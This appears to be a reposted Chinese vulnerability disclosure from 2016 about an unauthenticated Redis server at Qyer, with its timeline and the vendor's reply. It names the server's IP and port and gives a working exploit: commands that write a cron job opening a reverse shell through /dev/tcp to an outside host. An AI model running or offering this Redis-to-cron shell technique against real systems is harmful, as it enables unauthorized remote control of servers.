穷游网某服务未授权访问(可远程SHELL)

2019-01-05 05:41:03 作者：安三

漏洞详情

披露状态：

2016-05-03：细节已通知厂商并且等待厂商处理中
2016-05-03：厂商已经确认，细节仅向厂商公开
2016-05-13：细节向核心白帽子及相关领域专家公开
2016-05-23：细节向普通白帽子公开
2016-06-02：细节向实习白帽子公开
2016-06-17：细节向公众公开

简要描述：

穷游网某服务未授权访问(可远程SHELL)

详细说明：

#1 漏洞参考

WooYun: 新浪微博某服务器控制不当(可远程SHELL)

#2 redis服务对外开放

redis://115.182.69.199:3000

#3 可以管理 slave

code 区域

# Keyspace

db0:keys=65454963,expires=130654,avg_ttl=30413755756

code 区域

# Replication

role:master

connected_slaves:1

slave0:ip=10.1.1.15,port=6379,state=online,offset=271341594993,lag=1

master_repl_offset:271341599570

code 区域

config get dir

 94) "/u01/redis/data"

漏洞证明：

650万条key，不敢执行flush命令测试损坏数据，仅仅证明

#漏洞利用，创建一个任务计划，执行命令

code 区域

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -h 115.182.69.199 -p 3000 -x set 0

config set dir /var/spool/cron/ 

config set dbfilename root

修复方案：

# 设置访问控制

版权声明：转载请注明来源猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-05-03 14:06

厂商回复：

正在处理，谢谢关注穷游！

穷游网某服务未授权访问(可远程SHELL)

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源猪猪侠@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

发表评论
取消回复

去顶部

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

优信二手车APPPOST注入2枚

爱奇艺主站某处FFmpeg漏洞可导致任意文件读取

信诺立域名商某网站泄露众多公司ICP信息+存在后门（涉及省市甚至国字头网站ICP等信息）

发表评论 取消回复

安三

用户登陆

注册账号

密码找回

去顶部

大家都在搜

版权声明：转载请注明来源猪猪侠@乌云

发表评论
取消回复